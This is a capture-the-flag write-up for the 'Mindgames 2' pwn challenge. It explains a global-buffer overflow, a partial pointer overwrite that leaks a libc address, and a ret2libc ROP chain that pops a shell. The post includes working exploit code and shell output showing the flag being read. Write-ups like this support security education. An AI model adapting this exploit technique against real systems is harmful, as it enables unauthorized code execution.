Tags: pwnscripts rop 

Rating: 5.0

Mindgames 2

This time I hardened my mind even better. No way you are gonna win this one!

nc pwn.institute 41337

If you didn't know, the library used in the solution code here is pwnscripts

Differences

There's essentially only 1 difference between mindgames 1336 & 1337:

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

PIE is enabled! Ain't that grand.

If you scroll up a little bit to my previous challenge's writeup, you'll realise that my previous exploit only works if PIE is disabled. To finish the challenge here, we'll need to find a different way to leak libc.

In the previous challenge, I noted that we didn't use this function in our exploit:

int show_highscore() {
  return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);
}

Here, it becomes important. In set_new_highscore(), memcpy() copies our input to the aptly-titled overflow[]:

set_new_highscore() {
  ssize_t n; // ST08_8
  char buf[0x110]; // [rsp+10h] [rbp-110h]

  printf("Give me your name: ");
  selected_name = &overflow;
  n = read(0, buf, 0x400);
  memcpy(&overflow, buf, n); // <----- focus on this
}

This will naturally cause an overflow into a number of other variables:

LOAD:0000000000004018 off_4018        dq offset localtime     ; DATA XREF: _localtime↑r
LOAD:0000000000004020 off_4020        dq offset puts          ; DATA XREF: _puts↑r
LOAD:0000000000004028 off_4028        dq offset __stack_chk_fail
LOAD:0000000000004028                                         ; DATA XREF: ___stack_chk_fail↑r
LOAD:0000000000004030 off_4030        dq offset printf        ; DATA XREF: _printf↑r
LOAD:0000000000004038 off_4038        dq offset alarm         ; DATA XREF: _alarm↑r
LOAD:0000000000004040 off_4040        dq offset read          ; DATA XREF: _read↑r
...
LOAD:00000000000040C0 ; char overflow[32]
LOAD:00000000000040C0 overflow        db 20h dup(0)           ; DATA XREF: set_new_highscore+2B↑o
LOAD:00000000000040E0 highscore       dd 1                    ; DATA XREF: srand_init+CC↑w
LOAD:00000000000040E4                 align 8
LOAD:00000000000040E8 selected_name   dq 0                    ; DATA XREF: srand_init+B2↑w
LOAD:00000000000040F0                 align 20h
LOAD:0000000000004100 NAMEARRAY       dq offset ...

We can overwrite selected_name with this smaller overflow. The trick here is to realise that the original value of selected_name (&overflow == PIE+0x40c0) only differs from the location of the GOT table by it's least-significant-byte. Or to put it a little bit more meaningfully: if we overflow just one byte of selected_name to, e.g. 0x30, we can leak the value of the GOT function at overflow-0xc0+0x30 (which is printf).

Everything after that is really just a simple exercise in implementation. We start with a few re-definitions from the previous code to match the new exploit:

context.binary = 'mindgames_1337'
context.binary.symbols = {'overflow': 0x40c0, 'selected_name': 0x40e8}
context.binary.got = {'puts':0x4020}
context.libc_database = 'libc-database'
context.libc = 'libc6_2.28-10_amd64'# from prev chal
def read_400(payload, minwins=0):   # Helper function to do the set_new_highscore() overflow of 0x400 bytes
    p.sendlineafter('> ', '2')
    for i in range(minwins):
        p.sendlineafter('>' if i else '> ', str(C.rand()))
    p.sendlineafter('>' if minwins else '> ', '0')
    p.recvuntil('Amazing!\n')
    p.sendafter('name: ', payload)

Then, we leak a single libc address. We only need one address because we already know the libc id from the previous challenge.

payload = b'\0'*(context.binary.symbols['selected_name']-context.binary.symbols['overflow'])
payload+= pack(context.binary.got['puts'])[:1] # Overwrite the last byte, so PIE.overflow -> PIE.puts
read_400(payload, nextrand)
p.sendlineafter('> ', str(1))
p.recvuntil('\t by \t ')
context.libc.calc_base('puts', extract_first_bytes(p.recvline(),6))

Finally, do a return-to-libc-system again:

r = ROP(context.libc)
r.raw(b'\0'*0x118)
r.system(context.libc.symbols['str_bin_sh'])
read_400(r.chain())
p.interactive()

It hardly ever changes.

[*] Switching to interactive mode
$ ls
flag
mindgames
$ cat flag
BCTF{and_n0w_y0u_ate_my_PIE?}
$
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/BalCCon2k20/mind.md).